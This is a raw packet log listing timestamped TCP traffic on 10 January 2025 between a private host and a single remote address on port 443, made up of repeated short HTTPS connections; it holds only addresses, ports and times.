Jan 10, 2025 15:13:36.770281076 CET	49864	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.882823944 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.882874966 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:36.882939100 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.883152962 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:36.883171082 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.358750105 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.358867884 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.551677942 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.551700115 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.554337025 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.554348946 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.948246002 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.948329926 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.948332071 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.948448896 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.948489904 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.948507071 CET	443	49871	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:37.948517084 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:37.948558092 CET	49871	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.070352077 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.070395947 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.070462942 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.070750952 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.070768118 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.525723934 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.525793076 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.526130915 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.526146889 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.527623892 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.527637005 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.931297064 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.931401014 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.931427956 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.931483030 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.931539059 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.931677103 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.931699038 CET	443	49881	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:38.931709051 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:38.932270050 CET	49881	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.070451975 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.070499897 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:39.070622921 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.070934057 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.070946932 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:39.599217892 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:39.599287987 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.600236893 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.600246906 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:39.602375031 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:39.602380991 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.053021908 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.053091049 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.053144932 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.053174973 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.056526899 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.056546926 CET	443	49887	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.056560993 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.056607962 CET	49887	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.261307001 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.261348963 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.261645079 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.261645079 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.261677027 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.718756914 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.718871117 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.719737053 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.719752073 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:40.721520901 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:40.721533060 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.124568939 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.124644041 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.124660969 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.124705076 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.124737978 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.124769926 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.124777079 CET	443	49894	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.124794006 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.124814987 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.124830008 CET	49894	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.242636919 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.242728949 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.242816925 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.243081093 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.243097067 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.708889961 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.708996058 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.709527969 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.709541082 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:41.711086035 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:41.711097956 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.094649076 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.094803095 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.094899893 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.094985962 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.095010996 CET	443	49904	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.095021963 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.095065117 CET	49904	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.226811886 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.226843119 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.226927996 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.228943110 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.228960037 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.689608097 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.689673901 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.690399885 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.690412045 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:42.692563057 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:42.692573071 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.114002943 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.114078999 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.114097118 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.114134073 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.114161015 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.114202976 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.114233971 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.114253044 CET	443	49910	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.114262104 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.114298105 CET	49910	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.242285013 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.242326975 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.242428064 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.242748022 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.242760897 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.712368011 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.712482929 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.712862968 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.712872028 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:43.714314938 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:43.714319944 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.137531042 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.137682915 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.137862921 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.137862921 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.138026953 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.138026953 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.138045073 CET	443	49916	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.138571024 CET	49916	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.258002996 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.258053064 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.261086941 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.261868000 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.261882067 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.748833895 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.748923063 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.749387026 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.749397039 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:44.750816107 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:44.750823021 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.167640924 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.167738914 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.167747021 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.167787075 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.167803049 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.167845964 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.167916059 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.167923927 CET	443	49922	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.167948961 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.167973995 CET	49922	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.273772955 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.273796082 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.273880959 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.274276972 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.274288893 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.752640963 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.752774954 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.753492117 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.753503084 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:45.754957914 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:45.754964113 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.172326088 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.172507048 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.172580957 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.172704935 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.172725916 CET	443	49933	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.172740936 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.173048019 CET	49933	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.289274931 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.289331913 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.289424896 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.289829016 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.289848089 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.977979898 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.978040934 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.979415894 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.979423046 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:46.981133938 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:46.981139898 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.389470100 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.389549017 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.389609098 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.389609098 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.389750957 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.389766932 CET	443	49939	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.389772892 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.389803886 CET	49939	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.507885933 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.507919073 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.508153915 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.508476019 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.508491039 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.989670992 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.989845037 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.990417004 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.990446091 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:47.992126942 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:47.992144108 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.430258989 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.430335999 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.430361986 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.430402040 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.430424929 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.430469036 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.436053991 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.436070919 CET	443	49945	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.436083078 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.436110973 CET	49945	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.555068016 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.555099964 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:48.555185080 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.555418015 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:48.555429935 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.016372919 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.016519070 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.020809889 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.020833969 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.040438890 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.040463924 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.444164991 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.444314003 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.444434881 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.444436073 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.444596052 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.444638014 CET	443	49954	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.444694042 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.444725990 CET	49954	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.554868937 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.554913044 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:49.555058956 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.555439949 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:49.555447102 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.014128923 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.014235973 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.014739037 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.014743090 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.015969038 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.015973091 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.565608025 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.565767050 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.565896034 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.566037893 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.566061974 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.566061020 CET	443	49962	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.566118956 CET	49962	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.695456028 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.695507050 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:50.695585012 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.695853949 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:50.695894957 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.169059038 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.169234991 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.169789076 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.169799089 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.171540022 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.171545029 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.579442024 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.579570055 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.579605103 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.579629898 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.579657078 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.579680920 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.583477974 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.583513021 CET	443	49968	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.583523035 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.583559990 CET	49968	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.783587933 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.783634901 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:51.783699989 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.791112900 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:51.791129112 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.254100084 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.254215002 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.254698992 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.254749060 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.256725073 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.256742954 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.673541069 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.673628092 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.673665047 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.673718929 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.673769951 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.673787117 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.673804045 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.673811913 CET	443	49979	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.673830986 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.673850060 CET	49979	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.789387941 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.789442062 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:52.789637089 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.789827108 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:52.789851904 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.262499094 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.263149023 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.271264076 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.271275997 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.272613049 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.272619009 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.691728115 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.691792011 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.691843033 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.691921949 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.692023039 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.692023039 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.692044020 CET	443	49986	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.692235947 CET	49986	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.820487022 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.820534945 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:53.820645094 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.820962906 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:53.820976019 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.292803049 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.297117949 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.303060055 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.303069115 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.304872036 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.304876089 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.713402033 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.713479042 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.713509083 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.713557005 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.713562965 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.713749886 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.713754892 CET	443	49992	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.713767052 CET	49992	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.867844105 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.867893934 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:54.868191004 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.868535995 CET	49998	443	192.168.2.6	188.114.96.3
Jan 10, 2025 15:13:54.868554115 CET	443	49998	188.114.96.3	192.168.2.6
Jan 10, 2025 15:13:55.354743004 CET	443	49998	188.114.96.3	192.168.2.6
